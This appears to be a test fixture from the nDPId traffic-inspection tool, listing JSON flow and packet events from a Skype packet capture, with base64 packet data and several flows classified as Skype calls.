+00517{"flow_id":158,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1072,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970674,"pkt_ts_usec":308045,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABrOhNAAEAGHurAqAEinTeCjsg8AbsAEWqgQyFuW4AYECyFOAAAAQEICj4yIPhOwLdijvxAZZgUoCkBH\/EVHhRNRbBof0ntyHRIt71VUzxiPflWQfiWlCD80Wr\/3G66XhsettJAtcl5eA=="} +00448{"flow_id":179,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1073,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970674,"pkt_ts_usec":405205,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8kZFAAEAGXenAqAEi1cezr8hFnF3LCMHILu+4HYAYECoeGgAAAQEICj4yIVlO3xkb8jl+H1rFkgE="} +00519{"flow_id":160,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1076,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970674,"pkt_ts_usec":565384,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABraPNAAEAGhlfAqAEi1cezsMg+Absskrs7gA\/xNYAYECzntQAAAQEICj4yIfhO3n\/RxnG4\/AJEgxSLpj4g1w1XejDcElFRdGJgTnfA7RCUIGPtheZryFD\/LSyJskZ7bbubC2TOpkOp3g=="} +00449{"flow_id":179,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1077,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970674,"pkt_ts_usec":867548,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8exhAAEAGdGLAqAEi1cezr8hFnF3LCMHILu+4HYAYECocTQAAAQEICj4yIyZO3xkb8jl+H1rFkgE="} +00449{"flow_id":175,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1078,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970674,"pkt_ts_usec":880712,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8oBRAAEAGHu7AqAEib91KEshDnFkB\/oa5lZep1YAYEChCDQAAAQEICj4yIzNNdq00xUaEJw2DyPo="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1079,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":183,"flow_packet_id":1,"flow_first_seen":1431970674981,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.18","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":183,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1079,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970674,"pkt_ts_usec":981289,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/ed8AAEARbbrAqAEinTg0EjLdgQkAK+56e5UCujNYWaHOaIv8Mbnq8Yy9ltzxTGOAleIkOtVygbgwGI4="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1079,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":183,"flow_packet_id":1,"flow_first_seen":1431970674981,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.18","src_port":13021,"dst_port":33033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1080,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":184,"flow_packet_id":1,"flow_first_seen":1431970674981,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.43","src_port":13021,"dst_port":40006,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":184,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1080,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970674,"pkt_ts_usec":981289,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/QPIAAEARV4\/AqAEiQTffKzLdnEYAK9tXe5cCDvOGtur9CosePaKDkKEzL5ekZUj+DrgiIjruAPBzlGM="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1080,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":184,"flow_packet_id":1,"flow_first_seen":1431970674981,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.43","src_port":13021,"dst_port":40006,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1081,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":185,"flow_packet_id":1,"flow_first_seen":1431970674981,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.150","src_port":13021,"dst_port":40014,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":185,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1081,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970674,"pkt_ts_usec":981352,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"0NQSxnP1PBXCt3IOCABFAAA2DYgAAEAR1ZfAqAEinTc4ljLdnE4AIk81e5kCIa6rFGHkjW7tTxYGLEfEQXIXcRjIprw="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1081,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":185,"flow_packet_id":1,"flow_first_seen":1431970674981,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.150","src_port":13021,"dst_port":40014,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00437{"flow_id":121,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1082,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970674,"pkt_ts_usec":981467,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0oQpAAEAGgEXAqAEiQAQXpsgznF2bjnmBscFgjYARECkhhgAAAQEICj4yI5dMQvGc"} +00437{"flow_id":130,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1083,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970674,"pkt_ts_usec":981467,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0pAxAAEAGfUPAqAEiQAQXpsg1Abs0yMtqLkeiTIARECwRKQAAAQEICj4yI5dMQvMv"} +00486{"flow_id":157,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1084,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970675,"pkt_ts_usec":476227,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"0NQSxnP1PBXCt3IOCABFAABW72hAAEAGzAPAqAEib91Njsg7Abv27otpEKH0yoAYECzqiQAAAQEICj4yJYRNkBZ5b6tnM5g+MIH9ugWQ4EK6dUZuKY7n+8BcqJBKLNao313kcQ=="} +00468{"flow_id":167,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1085,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970675,"pkt_ts_usec":541371,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLEdEAAEAR5V3AqAEiwKgBAdo6ADUAN4ffpXsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00468{"flow_id":166,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1086,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970675,"pkt_ts_usec":541454,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLOQoAAEARviTAqAEiwKgBAe6nADUAN3lCuqsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1087,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":186,"flow_packet_id":1,"flow_first_seen":1431970675578,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.175","src_port":51271,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":186,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1087,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970675,"pkt_ts_usec":578247,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAVJFAAEAGmuXAqAEi1cezr8hHAbtzmW86AAAAALAC\/\/\/ayQAAAgQFtAEDAwUBAQgKPjIl6QAAAAAEAgAA"} +00449{"flow_id":179,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1088,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970675,"pkt_ts_usec":591379,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8mnRAAEAGVQbAqAEi1cezr8hFnF3LCMHILu+4HYAYECoZfQAAAQEICj4yJfZO3xkb8jl+H1rFkgE="} +00448{"flow_id":186,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1089,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970675,"pkt_ts_usec":640920,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADgG93rVx7OvwKgBIgG7yEfSVR1Cc5lvO6ASOJBaGQAAAgQFrAQCCApO3xqhPjIl6QEDAwk="} +00436{"flow_id":186,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1090,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970675,"pkt_ts_usec":641041,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0n6FAAEAGT+HAqAEi1cezr8hHAbtzmW870lUdQ4AQECyxBQAAAQEICj4yJidO3xqh"} +00535{"flow_id":186,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1091,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970675,"pkt_ts_usec":641155,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8BuJAAEAG6FjAqAEi1cezr8hHAbtzmW870lUdQ4AYECxs4wAAAQEICj4yJidO3xqhgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIAAce4HDA3aA9hphr9khfI7"} +00438{"flow_id":186,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1092,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970675,"pkt_ts_usec":703742,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0B\/NAADgG74\/Vx7OvwKgBIgG7yEfSVR1Dc5lvg4AQAB3AvAAAAQEICk7fGrE+MiYn"} +00490{"flow_id":186,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1093,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970675,"pkt_ts_usec":703833,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"0NQSxnP1PBXCt3IOCABFAABakGhAAEAGXvTAqAEi1cezr8hHAbtzmW+D0lUdQ4AYECzDQgAAAQEICj4yJmVO3xqxJBunUkBMeJMsfT1eF4pqVDnte2DgNERt9BmDXlOuUVzA32khXIM="} +00449{"flow_id":149,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1094,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970675,"pkt_ts_usec":829788,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA87NBAAEAGAqnAqAEi1cezsMg6nFWOWkflXYl5QIAYECoqQgAAAQEICj4yJuJO3n48uQiwNY7rtQs="} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1095,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":187,"flow_packet_id":1,"flow_first_seen":1431970675992,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.152","src_port":51272,"dst_port":40029,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":187,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1095,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970675,"pkt_ts_usec":992044,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAxtRAAEAGKUnAqAEinTfrmMhInF05JqawAAAAALAC\/\/9CLwAAAgQFtAEDAwUBAQgKPjInhAAAAAAEAgAA"} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1096,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":188,"flow_packet_id":1,"flow_first_seen":1431970675992,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.147","src_port":13021,"dst_port":40014,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":188,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1096,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970675,"pkt_ts_usec":992172,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABB4XAAAEARAafAqAEinTc4kzLdnE4ALQw6e5sCLpawwxGRzNJ9jeoeh5bY+9RpiszLnAcSdcNuRnMOI9PLQQ=="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1096,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":188,"flow_packet_id":1,"flow_first_seen":1431970675992,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.147","src_port":13021,"dst_port":40014,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1097,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":189,"flow_packet_id":1,"flow_first_seen":1431970675992,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.18","src_port":13021,"dst_port":40025,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":189,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1097,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970675,"pkt_ts_usec":992172,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1ktIAAEARBdLAqAEiQTffEjLdnFkAIdOte50CPL9ZRieP6CLGvHSnuteGzwQxXE6Sug=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1097,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":189,"flow_packet_id":1,"flow_first_seen":1431970675992,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.18","src_port":13021,"dst_port":40025,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00467{"flow_id":178,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1098,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970676,"pkt_ts_usec":8062,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"0NQSxnP1PBXCt3IOCABFAABMySdAAEAG9crAqAEib91KEshEAbuPHWXUImhLeYAYECwpDwAAAQEICj4yJ5NNdq638u7zvxiLk1N\/bk90UuwO7GFozw5RA+4e"} +00489{"flow_id":186,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1099,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970676,"pkt_ts_usec":61587,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"0NQSxnP1PBXCt3IOCABFAABazv5AAEAGIF7AqAEi1cezr8hHAbtzmW+D0lUdQ4AYECzB3wAAAQEICj4yJ8hO3xqxJBunUkBMeJMsfT1eF4pqVDnte2DgNERt9BmDXlOuUVzA32khXIM="} +00448{"flow_id":187,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1100,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970676,"pkt_ts_usec":61751,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYG+iGdN+uYwKgBIpxdyEgRBN2QOSamsaASOJC3pAAAAgQFrAQCCApMXif\/PjInhAEDAwk="} +00436{"flow_id":187,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1101,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970676,"pkt_ts_usec":61831,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0FvZAAEAG2TPAqAEinTfrmMhInF05JqaxEQTdkYAQECwOiwAAAQEICj4yJ8hMXif\/"} +00565{"flow_id":187,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1102,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970676,"pkt_ts_usec":62377,"pkt_caplen":158,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":158,"pkt_l4_len":124,"pkt":"0NQSxnP1PBXCt3IOCABFAACQhlBAAEAGaX3AqAEinTfrmMhInF05JqaxEQTdkYAYECyjuQAAAQEICj4yJ8hMXif\/7x1q5iQez43VygkHRboxG3\/Er5jb9Pal3akBDNNDY26BnuxRpYF9l3Bw7v\/tua3vVLVi66CRjiesLXojeIkm3wSlkltQgb6XXB2qkyh5Vk+0lcLLAHHuBwwN2gM="} +00436{"flow_id":187,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1103,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970676,"pkt_ts_usec":132967,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA09YBAADYGBKmdN+uYwKgBIpxdyEgRBN2ROSanDYAQAB0eLAAAAQEICkxeKBE+MifI"} +00548{"flow_id":187,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1104,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970676,"pkt_ts_usec":139597,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"PBXCt3IO0NQSxnP1CABFAACF9YFAADYGBFedN+uYwKgBIpxdyEgRBN2ROSanDYAYAB3v7wAAAQEICkxeKBM+MifI82CaQndmhTqcGAWjTUg9RTtwKpzADETAisGk7EUy2DAtLvQcwpjqYu46UY+hkcKMxTJ78KFet\/w9SrPImfZvVLVi66CRjiesLXojeIkm3wSl"} +00436{"flow_id":187,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1105,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970676,"pkt_ts_usec":139711,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0rbdAAEAGQnLAqAEinTfrmMhInF05JqcNEQTd4oAQECkNgAAAAQEICj4yKBVMXigT"} +00448{"flow_id":187,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1106,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970676,"pkt_ts_usec":140256,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8V85AAEAGmFPAqAEinTfrmMhInF05JqcNEQTd4oAYEClNvAAAAQEICj4yKBVMXigTaJ2t5RvhjU8="} +00516{"flow_id":120,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1107,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970676,"pkt_ts_usec":199556,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"0NQSxnP1PBXCt3IOCABFAABsh7BAAEAGM4XAqAEib91Nr8gyAbuh2H4oZdpOV4AZECxRGQAAAQEICj4yKFBNo+P8rykSL\/YNWXmmSdsJysigGnvSxhmV7qYqIM+fUQQnb8UpRj+FOZcGRraAYWqHRq8j3tnIqulYKJg="} +00520{"flow_id":159,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1108,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970676,"pkt_ts_usec":260755,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"0NQSxnP1PBXCt3IOCABFAABwTqxAAEAGoS\/AqAEinTfrqsg9AbvoZ1rM+umGlIAYECwxuwAAAQEICj4yKI1MVnGKp9iYwrlcLUTfptpUQ9HnlFyq2KvXjkAGnxSlIXPZFxPNf26I7IG6HpdVzoKbtM+2y58XZOdHADBnVSgw"} +00448{"flow_id":187,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1109,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970676,"pkt_ts_usec":515029,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA89DpAAEAG++bAqAEinTfrmMhInF05JqcNEQTd4oAYEClMRgAAAQEICj4yKYtMXigTaJ2t5RvhjU8="} 